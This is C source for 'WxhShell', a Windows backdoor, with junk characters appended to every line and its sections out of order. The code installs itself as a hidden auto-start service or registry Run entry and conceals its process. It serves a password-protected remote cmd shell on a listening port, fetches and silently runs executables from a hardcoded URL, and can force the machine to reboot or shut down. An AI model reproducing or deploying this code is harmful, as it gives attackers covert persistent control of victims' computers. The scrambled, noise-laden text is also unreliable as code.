    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bO;(bE m@  
    if(Boot(SHUTDOWN)) cNKUu~C+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,i(2^  
    else { 9M /SH$Qy  
    closesocket(wsh); 5I,gBT|B  
    ExitThread(0); enTW0U}  
    } 8$c bVMjh  
    break; X>I)~z}9#  
    } IF +i3#$  
  // 获取shell e*  
  case 's': { lg}HGG  
    CmdShell(wsh); gUAxyV  
    closesocket(wsh); G\;}w  
    ExitThread(0); Gs*G<P"  
    break; m))<!3  
  } '>k{tPi.  
  // 退出 g2R@`./S  
  case 'x': { kL90&nP   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QJW`}`R  
    CloseIt(wsh); >m'x8xB=  
    break; =9G;PVk|  
    } QR> Y%4 ;h  
  // 离开 o:Zd1"Z  
  case 'q': { }4>JO""  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (9gO tJ  
    closesocket(wsh); MqKye8h9f  
    WSACleanup(); gr-x |wK  
    exit(1); w# * 1/N  
    break; ;50_0Mv;(:  
        } _}mK!_`  
  } 3"UsZyN:  
  } ^# A.@  
'ZQWYr9R  
  // 提示信息 CkRX>)=py  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M]HgIL@9#  
} (shK  
  } nN3$\gHp8i  
fA! 6sB  
  return; BwJuYH7QJ$  
} !RlC~^ -  
*o' 4,+=am  
// shell模块句柄 sl/)|~3!8  
int CmdShell(SOCKET sock) #vf_D?^  
{ D6Y6^eS-  
STARTUPINFO si; ACjf\4Q  
ZeroMemory(&si,sizeof(si)); QMk+RM8U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (_9|w|(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YCw('i(|  
PROCESS_INFORMATION ProcessInfo; !Zbesp KZ  
char cmdline[]="cmd"; m&R"2t_Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RP(/x+V  
  return 0; cCxi{a1uo  
} {@r*+~C3  
T 4|jz<iK]  
// 自身启动模式 }`9`JmNM  
int StartFromService(void) mjEs5XCC"  
{ -{9Gagy2&  
typedef struct j[P8  
{ FBsn;,3<W  
  DWORD ExitStatus; ?An,-N-ezf  
  DWORD PebBaseAddress; Q-zdJt  
  DWORD AffinityMask; [xpQH?  
  DWORD BasePriority; Qa$NBNxKl  
  ULONG UniqueProcessId; * Zd_ HJi  
  ULONG InheritedFromUniqueProcessId; =s'7$D}0.  
}   PROCESS_BASIC_INFORMATION; HR3_@^<7  
aed+C:N  
PROCNTQSIP NtQueryInformationProcess; DzPs!(5[I  
.^XH uN&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y3yvZD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %yaG,;>U  
KtMbze  
  HANDLE             hProcess; /84bv=  
  PROCESS_BASIC_INFORMATION pbi; 7C5pAb:  
j??tmo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KzkgWMM  
  if(NULL == hInst ) return 0; w4{y "A  
G+yL;G/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ek[kq[U9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); feCqbWq:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z( #Ln  
 C6)R#  
  if (!NtQueryInformationProcess) return 0; y~p4">]  
Za!w#j%h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dYyW]nZ&  
  if(!hProcess) return 0; SOH%Q_  
]xR4->eix  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $WNG07]tU  
ih!~G5Xi9i  
  CloseHandle(hProcess); gUGOHd(A  
qG^_c;l6a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xb+3Xn0}&8  
if(hProcess==NULL) return 0; jvO3_Zt9  
3G&0Ciet  
HMODULE hMod; q5?L1  
char procName[255]; f N0bIE Y  
unsigned long cbNeeded; t{=i=K 3  
 ,F}r@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ru(J5+H  
> i`8R  
  CloseHandle(hProcess); _vIO !*h0  
a hwy_\  
if(strstr(procName,"services")) return 1; // 以服务启动 !3HsI| $<G  
*]'qLL7d  
  return 0; // 注册表启动 G)~MbesJ  
} #|ddyCg2  
mo*'"/  
// 主模块 'f6PjI  
int StartWxhshell(LPSTR lpCmdLine) IwM8#6;S~  
{ TC@bL<1  
  SOCKET wsl; U,38qKE  
BOOL val=TRUE; C{)HlOW  
  int port=0; L^jaBl  
  struct sockaddr_in door; 3/l\ <{  
94+/wzWvi  
  if(wscfg.ws_autoins) Install(); u x#. :C|  
($:y\,5(9I  
port=atoi(lpCmdLine); K@*rVor{  
)+*{Y$/U  
if(port<=0) port=wscfg.ws_port; PC[cHgSYU  
$mD>r x  
  WSADATA data; m'SmN{(t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0w'|d@*wV  
L!&$c&=xf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =Iy/cHK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); srsK:%`  
  door.sin_family = AF_INET; TMNfJz   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KCl &H  
  door.sin_port = htons(port); o|0 '0P  
Vj/fAHR`>'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w/O<.8+  
closesocket(wsl); m:b^,2"g  
return 1; 'qdg:_L"  
} ^t`f1rGR  
C(xqvK~p  
  if(listen(wsl,2) == INVALID_SOCKET) { D9,e3.?p  
closesocket(wsl); `(!W s\:  
return 1; yB=C5-\F  
} g>UBZA4  
  Wxhshell(wsl); L>0!B8X2  
  WSACleanup(); {ip=iiW2  
xnT3^ #-h  
return 0; U) +?$ Tbm  
vJ~4D*(]l  
} B'<!k7Ewy  
ss/h[4h4h  
// 以NT服务方式启动 k{?!O\yY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +g)_4fV0|  
{ \>4v?\8o  
DWORD   status = 0; ZGA)r0] P`  
  DWORD   specificError = 0xfffffff; *Yj~]E0`1  
;gEp!R8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W]Y@WKeT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $Z,i|K;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A*rZQh b[  
  serviceStatus.dwWin32ExitCode     = 0; *Kp}B}}J  
  serviceStatus.dwServiceSpecificExitCode = 0; ;R/k2^uF  
  serviceStatus.dwCheckPoint       = 0; ,2RC|h^O,  
  serviceStatus.dwWaitHint       = 0; *^X#Eb  
|sA4:Aq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jq=00fcT+  
  if (hServiceStatusHandle==0) return; ay=KfY5  
zt-'SY  
status = GetLastError(); "kcpA#uD|  
  if (status!=NO_ERROR) 8.*\+nH  
{ <sgZ3*,A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ov?.:M  
    serviceStatus.dwCheckPoint       = 0; o9_(DJ<{  
    serviceStatus.dwWaitHint       = 0; oP+kAV#]  
    serviceStatus.dwWin32ExitCode     = status; uo]Hi^r.l  
    serviceStatus.dwServiceSpecificExitCode = specificError; x1.3W j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [SCw<<l<  
    return; b^uP^](J  
  } H(X+.R,Thp  
l5{(z;xM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \Pw8wayr%  
  serviceStatus.dwCheckPoint       = 0; ^zvA?'s  
  serviceStatus.dwWaitHint       = 0; (:_%kmu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @`w'   
} HF*j`}  
i!CKA}",  
// 处理NT服务事件,比如:启动、停止 g2+l@$W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s$f+/Hs  
{ 80{#bb  
switch(fdwControl) eNI kiJ$uS  
{ skk-.9  
case SERVICE_CONTROL_STOP: g0^~J2sDd  
  serviceStatus.dwWin32ExitCode = 0; xDPQG`6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y&?|k'7  
  serviceStatus.dwCheckPoint   = 0; Fv?R\`52u  
  serviceStatus.dwWaitHint     = 0; s(1_:  
  { 9F2w.(m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qWRNHUd  
  } ,H.(\p_N  
  return; Fy}MXe"f  
case SERVICE_CONTROL_PAUSE: Ov $N"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  5uQv  
  break; j[$B\H  
case SERVICE_CONTROL_CONTINUE: 8gVxiFjo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bxn 8><  
  break; /3)YWFZZc  
case SERVICE_CONTROL_INTERROGATE: #,f}lV,&  
  break; F<PWBs%  
}; 6MLN>)t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8w{#R{w  
} s,UN'~e1  
es.\e.HK  
// 标准应用程序主函数 z;fd#N:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :GwSs'$O  
{ $I}Hk^X  
p|bc=`TD  
// 获取操作系统版本 ,xtK PA  
OsIsNt=GetOsVer(); ^7ea6G"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q|j@#@O1  
R,d70w (_  
  // 从命令行安装 RE`J"&  
  if(strpbrk(lpCmdLine,"iI")) Install(); 877EKvsiC  
} #\;np  
  // 下载执行文件 3<zTkI  
if(wscfg.ws_downexe) { X/`#5<x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zCBtD_@  
  WinExec(wscfg.ws_filenam,SW_HIDE); I{?E/Sc  
} X]JpS  
AhbT/  
if(!OsIsNt) { 1WUFk?p  
// 如果时win9x,隐藏进程并且设置为注册表启动 @n~>j&Kp  
HideProc(); Z!]U&Ax`Z  
StartWxhshell(lpCmdLine); !OuTXa,I H  
} |g?/~%7  
else [}9XHhY1O=  
  if(StartFromService()) >?G|Yz*kEJ  
  // 以服务方式启动 68'-1}  
  StartServiceCtrlDispatcher(DispatchTable); b2}QoJ@`  
else /+<%,c$n  
  // 普通方式启动 x;ICV%g/  
  StartWxhshell(lpCmdLine); 7/^TwNsv  
yNLa3mW  
return 0; s_ GK;;  
} ~*' 8=D?)  
}GoOE=rhY  
5|6z1{g8  
p E(<XD3Q  
=========================================== j?f,~Y<k  
282+1X  
`G ;Lz^  
r.a9W? (E  
I*vj26qvg  
<PfPh~  
" TN |{P  
4ye`;hXy  
#include <stdio.h> * 0&i'0>  
#include <string.h> PFDWC3<  
#include <windows.h> i"sYf9,  
#include <winsock2.h> 3Q*RR"3  
#include <winsvc.h> l9ifUh e  
#include <urlmon.h> +4:+qGAJ{  
9A} kkMB:  
#pragma comment (lib, "Ws2_32.lib") hBfzU\*0H  
#pragma comment (lib, "urlmon.lib") pZ_FVID  
#a'x)$2;R|  
#define MAX_USER   100 // 最大客户端连接数 2ucF( ^  
#define BUF_SOCK   200 // sock buffer ~\)&{ '  
#define KEY_BUFF   255 // 输入 buffer Z '>eT)  
z[lRb]:i[  
#define REBOOT     0   // 重启 d WB8  
#define SHUTDOWN   1   // 关机 UB&S 2g  
X^ ^?}>t[  
#define DEF_PORT   5000 // 监听端口 4na4Jsq{  
 +s R *d  
#define REG_LEN     16   // 注册表键长度 q| =q:4_L  
#define SVC_LEN     80   // NT服务名长度 <E}]t,'3  
vn%U;}  
// 从dll定义API C(t6;&H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); { Sliy'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y8~)/)l&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AXU!-er$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3Ibt'$dK  
=iK6/ y`  
// wxhshell配置信息 DT(Zv2  
struct WSCFG { G|G?h  
  int ws_port;         // 监听端口 ^`>Ysc(@&  
  char ws_passstr[REG_LEN]; // 口令 ,?~UpsUx  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9y|&T  
  char ws_regname[REG_LEN]; // 注册表键名 !K^kKP*l  
  char ws_svcname[REG_LEN]; // 服务名 |b'<XQ&l5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @#--dOWYR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^a#&wW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %]sEt{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b{|/J<Fe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p|9ECdU>;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E5[]eg~w%{  
<# x%A0  
}; q;a*gqt   
~lalc ^  
// default Wxhshell configuration Oi%~8J>  
struct WSCFG wscfg={DEF_PORT, %:;[M|.  
    "xuhuanlingzhe", qT>& v_<  
    1, >RqT7n8h  
    "Wxhshell", vb ^!(  
    "Wxhshell", / -qt}  
            "WxhShell Service", ttq< )4  
    "Wrsky Windows CmdShell Service", & Dl'*|  
    "Please Input Your Password: ", OTHd1PSOu  
  1, Y <i}"eI*  
  "http://www.wrsky.com/wxhshell.exe", -"dy z(  
  "Wxhshell.exe" JHh9> .1  
    }; <QW1fE  
![hhPYmV  
// 消息定义模块 8YLZ)k'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qH$rvD!]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L\?g/l+k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yY-t4WeXP  
char *msg_ws_ext="\n\rExit."; BaTOh'52  
char *msg_ws_end="\n\rQuit."; Sfa m=.l  
char *msg_ws_boot="\n\rReboot..."; j nA_!;b  
char *msg_ws_poff="\n\rShutdown..."; ecI 2]aKi  
char *msg_ws_down="\n\rSave to "; O+Lb***b"  
DoB3_=yJ+  
char *msg_ws_err="\n\rErr!"; 83,1d*`  
char *msg_ws_ok="\n\rOK!"; YGpp:8pen  
P<JkRX  
char ExeFile[MAX_PATH]; Wu;|(2I  
int nUser = 0; FITaL@{c  
HANDLE handles[MAX_USER]; Odjd`DD1  
int OsIsNt; Y+`-~ 88  
*P\_:>bV(  
SERVICE_STATUS       serviceStatus; 4e\`zy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s=Q*|  
yy.:0:ema  
// 函数声明 `ur9KP4Dq  
int Install(void); 12' (MAP  
int Uninstall(void); $AhX@|?z  
int DownloadFile(char *sURL, SOCKET wsh); 8 ]MzOGB8  
int Boot(int flag); T9<nD"=:  
void HideProc(void); jh](s U  
int GetOsVer(void); GfPz^F=ie.  
int Wxhshell(SOCKET wsl); SFgIY]  
void TalkWithClient(void *cs); eo52X &I  
int CmdShell(SOCKET sock); 4S EC4yO  
int StartFromService(void); Vg~ kpgB  
int StartWxhshell(LPSTR lpCmdLine); Y"rV[oe   
M`fXH 3D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J6Nw-qF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f>/ 1KV  
B(Q.a&w45t  
// 数据结构和表定义 Hz3X*G\5b  
SERVICE_TABLE_ENTRY DispatchTable[] = T`{MQ:s  
{ 9<c4y4#y  
{wscfg.ws_svcname, NTServiceMain}, ?q}wl\"8  
{NULL, NULL} rw0lXs#K<E  
}; R eu J=|F  
m$qC 8z]  
// 自我安装 U`_vF~el~  
int Install(void) Zw\V}uXI?  
{ Rj;e82%%N  
  char svExeFile[MAX_PATH]; xxcDd_z  
  HKEY key; H[k3)r2  
  strcpy(svExeFile,ExeFile); q=i<vcw  
j6(IF5MqP  
// 如果是win9x系统,修改注册表设为自启动 B2WX#/lgd  
if(!OsIsNt) { lj*913aFh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BQ0PV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n<&R"89  
  RegCloseKey(key); j|dzd<kE6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #%tL8/K*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lA 0_I"b2Y  
  RegCloseKey(key); F+S#m3X  
  return 0; ;*H~Yb0  
    } !sQ8,l0h  
  } =U`c }dhS  
} Ao0PFY  
else { T-i]O*u  
J c^ozw  
// 如果是NT以上系统,安装为系统服务 m48Y1'4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }AYSQ~:  
if (schSCManager!=0) _'p;V[(+M  
{ gdNp2b  
  SC_HANDLE schService = CreateService Lf M(DK  
  ( 4aKy]zPoE  
  schSCManager, GFkte  
  wscfg.ws_svcname, .]c:Zt}P  
  wscfg.ws_svcdisp, d's`~HOU2  
  SERVICE_ALL_ACCESS, RUh{^3;~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C,u.!g;lm  
  SERVICE_AUTO_START, v"_#.!V  
  SERVICE_ERROR_NORMAL, B*N8:u  
  svExeFile, L-gF$it\*b  
  NULL, P~Owvs/=  
  NULL, `Db}q^mQ  
  NULL, h9nCSj  
  NULL, +t{FF!mL  
  NULL imQNfNm  
  ); n(VMGCZPV  
  if (schService!=0) iO`f{?b  
  { CFxs`C^  
  CloseServiceHandle(schService); _nq n|  
  CloseServiceHandle(schSCManager); {v(|_j&:o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,CF~UX% bU  
  strcat(svExeFile,wscfg.ws_svcname); ~zRd||qv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t$iU|^'uV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <{kj}nxz  
  RegCloseKey(key); TA7w:<  
  return 0; hp}8 3.oA  
    } WU_Q 7%+QS  
  } A???s,F_  
  CloseServiceHandle(schSCManager); $hh=-#J8  
} ljmHX2p  
} + P.Ir  
!>j- j  
return 1; c2"OpI  
} pUx@QyrI  
)\^OI:E  
// 自我卸载 '"a8<7  
int Uninstall(void) VF.S)='>Eu  
{ [MG:Ym).2`  
  HKEY key; T^t`H p  
Ycm1 _z  
if(!OsIsNt) { `h#JDcT;a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;d:7\  
  RegDeleteValue(key,wscfg.ws_regname); l|9`22G  
  RegCloseKey(key); **"sru;@=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T^W8_rm *3  
  RegDeleteValue(key,wscfg.ws_regname); a*`J]{3G  
  RegCloseKey(key); seim?LK  
  return 0; @*dA<N.9  
  } K\PS$  
} );vU=p"@  
} '_8Vay~  
else { WD]dt!V%  
Sw~<W%! ?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bvwk6NBN  
if (schSCManager!=0) ;2^=#7I?  
{ z^]nP 87  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .KV?;{~q@  
  if (schService!=0) F6 Ixu_s  
  { va)\uXW.N  
  if(DeleteService(schService)!=0) { aj:+"X-;  
  CloseServiceHandle(schService); gi8kYHldH  
  CloseServiceHandle(schSCManager); DE tq]|80m  
  return 0; azSS:=A  
  } {k>m5L  
  CloseServiceHandle(schService); 'ga@=;Wj  
  } cuHs`{u@P  
  CloseServiceHandle(schSCManager); _h#G-  
} =+u$ZZ0+]o  
} L/shF}<  
cB TMuDT_  
return 1; 7be?=c)+"  
} ?tOzhrv  
|h;MA,qva  
// 从指定url下载文件 2>mDT  
int DownloadFile(char *sURL, SOCKET wsh) G[jCmkK  
{ yRAb HG,c  
  HRESULT hr; b'G4KNW  
char seps[]= "/"; m{' q(w}  
char *token; ?/O+5rjA  
char *file; mu*wX'.'  
char myURL[MAX_PATH]; 6oC(09  
char myFILE[MAX_PATH]; *`\>J.  
tTY(I1  
strcpy(myURL,sURL); /dCZoz~~T  
  token=strtok(myURL,seps); ~-,<`VY  
  while(token!=NULL) H|Eu,eq-E  
  { ^<< Wqmx  
    file=token; R|_?yV[  
  token=strtok(NULL,seps); p%n}a%%I  
  } fO9e ;  
O,7P6  
GetCurrentDirectory(MAX_PATH,myFILE); U,/>p=s  
strcat(myFILE, "\\"); X)Kd'6zg  
strcat(myFILE, file); 0L|A  
  send(wsh,myFILE,strlen(myFILE),0); . a~J.0co  
send(wsh,"...",3,0); D:%v((Ccw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DBOz<|  
  if(hr==S_OK) K2!KMhvQ  
return 0; l( "_JI  
else 8c#u"qF  
return 1; <pz;G}  
s`&8tP  
} 9NVe>\s_  
2 3 P7~S  
// 系统电源模块 4e9mN~  
int Boot(int flag) =6/0=a[  
{ WPLAh_fe  
  HANDLE hToken; b{9q   
  TOKEN_PRIVILEGES tkp; ]XU?Wg  
R}BHRmSQ  
  if(OsIsNt) { \acjv|]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'Exj|Y&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S.BM/M  
    tkp.PrivilegeCount = 1; Wl}d6ZTm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jg#%h`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z6$W@-Vd  
if(flag==REBOOT) { F.K7w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G!@tW`HO  
  return 0; ]V?\Qv/.=  
} !XQG1!|ww  
else { YcT!`B   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8I3"68c_a  
  return 0; V`=#j[gX)=  
} ggfL d r  
  } 7 i,}F|#8  
  else { hC=9%u{r?  
if(flag==REBOOT) { >#<o7]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `A])4q$  
  return 0; =.f]OWehu.  
} ul1#_xp  
else { lt[{u$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4#!NVI3t  
  return 0; Op A  
} 9U^jsb<St>  
} ({87311%  
]z;%%'gW6  
return 1; tgKmC I  
} ORD@+ {  
+h.$ <=  
// win9x进程隐藏模块 B>Mr /'  
void HideProc(void) !inonR  
{ /{#1w\  
UB|f{7~&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3~iIo&NZ  
  if ( hKernel != NULL ) :$lx]  
  { % V/J6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y1vl,Yi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aOFF"(]Cl  
    FreeLibrary(hKernel); Zu951+&`  
  } CXwDG_e  
VQI  
return; Pfj{TT.#L  
} Ii_X^)IL(  
}J$Q  
// 获取操作系统版本 n.Iu|,?q  
int GetOsVer(void) (sSMH6iCif  
{ sS7r)HV&GI  
  OSVERSIONINFO winfo; )o-rg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PBc.}TSGj  
  GetVersionEx(&winfo);  BR;f!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,{!~rSq-l  
  return 1; _1S^A0ft  
  else $$_aHkI j  
  return 0; cPZD#";f  
} ^kA^> vi  
Uax[Zh[Cg  
// 客户端句柄模块 h)2W}p{a4=  
int Wxhshell(SOCKET wsl) xcz[w}{eEq  
{ i'aV=E5  
  SOCKET wsh; /X>Fn9 mM  
  struct sockaddr_in client; !l-^JPb  
  DWORD myID; B/u0^!  
(lBgW z  
  while(nUser<MAX_USER) # Un>g4>Rh  
{ 9un* 1%  
  int nSize=sizeof(client); 'S]7:/CI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X~wkqI#d%E  
  if(wsh==INVALID_SOCKET) return 1; DA;,)A&=Q  
.4DX/~F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r6k0=6i  
if(handles[nUser]==0) szW_cjS  
  closesocket(wsh); c@H:?s!0R  
else |eH >55 b  
  nUser++; ,[fn? s r  
  } FaS}$-0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } m5AO4:  
5=]q+&y\H  
  return 0; VQA}!p  
} el GP2x#:  
T;!7GW4E ?  
// 关闭 socket 1haNca_6,  
void CloseIt(SOCKET wsh) WrWJ!   
{ ~gU.z6us  
closesocket(wsh); oj\av~cI  
nUser--; /Xa_Xg7  
ExitThread(0); 1 ?X(q  
} K6"#&0  
4wfT8CL  
// 客户端请求句柄 A0Z<1|6r*  
void TalkWithClient(void *cs) 9gFb=&1k  
{ f44b=,Lry5  
my+y<C-o`  
  SOCKET wsh=(SOCKET)cs; M-> /vi  
  char pwd[SVC_LEN]; m?LnO5Vs  
  char cmd[KEY_BUFF]; P=v 0|Y*q|  
char chr[1]; *6uZ"4rb.  
int i,j; Z#H] yG  
 -)  
  while (nUser < MAX_USER) { Lbb{z  
llG^+*Y8t  
if(wscfg.ws_passstr) { 1e=<df  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FtBYPSGz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #H]b Xr  
  //ZeroMemory(pwd,KEY_BUFF); % H"A%  
      i=0; ki/xo^Y2<  
  while(i<SVC_LEN) { ]WZ_~8  
oy+``W~  
  // 设置超时 43_;Z| T  
  fd_set FdRead; F3k]*pk8w  
  struct timeval TimeOut; BN!N_r  
  FD_ZERO(&FdRead); p4} ,xQzB  
  FD_SET(wsh,&FdRead); "r@f&Ssxb  
  TimeOut.tv_sec=8; w.s-T.5.j  
  TimeOut.tv_usec=0; a`SQcNBf*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {O\>"2}m'f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +RIG8w]  
;Y:_}kN8_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wPhN_XV  
  pwd=chr[0]; 9OIX5$,S;  
  if(chr[0]==0xd || chr[0]==0xa) { ( e> .hfrs  
  pwd=0; rL+K Sb  
  break; "BN-Jvb7q  
  } P(z#Wk  
  i++; 8;'fWV? U  
    } Z<j(ZVO  
YS$?Wz  
  // 如果是非法用户,关闭 socket R-xWZRl>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O0`k6$=6r  
} o+U]=q*|)$  
B~p` 3rC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "2cJ'n/L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d'1 L#`?  
uFd.2,XNP  
while(1) { +qz"+g  
FcR(uv<  
  ZeroMemory(cmd,KEY_BUFF); hY5G=nbO*  
VUfV=&D-*g  
      // 自动支持客户端 telnet标准   3Q-i%7l  
  j=0; oBVYgv)  
  while(j<KEY_BUFF) { OG\TrW-ug  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vIk;x  
  cmd[j]=chr[0]; ,^dyS]!d$  
  if(chr[0]==0xa || chr[0]==0xd) { _J<^'w^;%  
  cmd[j]=0; P%Fkd3e+  
  break; yn;h.m[):  
  } V?{[IMRC  
  j++; -49z.(@ki  
    } J{98x zb  
=F>@z4[P-  
  // 下载文件 MGUzvSf  
  if(strstr(cmd,"http://")) { <8yv(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +-=o16*{ !  
  if(DownloadFile(cmd,wsh)) p h[ ^ve  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z"`q-R }m  
  else \/8 I6a=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6wo]nV[P  
  } (h8M  
  else { IvLo&6swW  
